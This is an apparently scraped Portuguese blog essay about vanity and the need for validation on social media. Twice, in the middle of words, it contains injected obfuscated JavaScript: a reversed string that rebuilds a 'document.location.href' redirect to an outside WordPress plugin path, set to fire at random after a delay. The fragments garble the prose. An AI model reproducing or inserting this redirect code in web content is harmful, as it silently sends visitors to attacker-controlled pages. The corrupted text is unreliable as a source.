Diga-me do que te gabas que eu te direi o que te falta

gabas

(A frase inteligente e bem-humorada é de Mira y Lopes)

Atualmente as redes sociais vêm sendo um autêntico catálogo desse mecanismo. Às vezes parece que foram feitas precisamente para que cada pessoa prove ser “algo” que provavelmente não é. Exibem fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos sorridentes, ainda que não estejam felizes como parece. Vangloriam-se de viagens, de novos trabalhos, de conquistas, mas algo de errado existe quando você precisa que outros o reconheçam e o validem.

Pessoas que divertem-se jogando charme vazio para uma plateia que acaba por se cansar de tantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to esforço vão. Sem a estampa, sem a maquiagem, sem a indumentária e as prováveis afetações, sentem-se vazios. E este é o seu maior pavor. Para não encará-lo, desdobram-se enganando a si mesmos e aos que vagueiam distraídos.